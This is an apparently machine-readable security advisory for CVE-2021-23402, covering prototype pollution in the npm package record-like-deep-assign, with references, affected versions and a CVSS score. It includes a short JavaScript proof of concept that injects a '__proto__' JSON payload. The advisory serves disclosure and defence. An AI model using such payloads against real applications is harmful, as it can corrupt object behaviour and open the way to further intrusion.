{"id":"GHSA-7qm6-9v49-38m9","summary":"Prototype Pollution in record-like-deep-assign","details":"All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality.\n\n### PoC\n```js\nconst deepAssign = require('record-like-deep-assign');\nlet obj = {};\nconsole.log(\"Before being polluted: \" + obj.polluted);\nEVIL_JSON = JSON.parse('{\"__proto__\":{\"polluted\":true}}');\ndeepAssign({}, EVIL_JSON);\nconsole.log(\"After being polluted: \" + obj.polluted);\n```","aliases":["CVE-2021-23402"],"modified":"2026-03-13T22:11:29.714694Z","published":"2021-12-10T18:55:39Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2021-07-06T14:32:33Z","nvd_published_at":"2021-07-02T16:15:00Z","cwe_ids":["CWE-1321","CWE-915"]},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-23402"},{"type":"PACKAGE","url":"https://github.com/kripod/record-like-deep-assign"},{"type":"WEB","url":"https://github.com/kripod/record-like-deep-assign/blob/v1.0.1/src/mod.ts%23L17-L35"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-JS-RECORDLIKEDEEPASSIGN-1311024"}],"affected":[{"package":{"name":"record-like-deep-assign","ecosystem":"npm","purl":"pkg:npm/record-like-deep-assign"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"1.0.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/12/GHSA-7qm6-9v49-38m9/GHSA-7qm6-9v49-38m9.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"}]}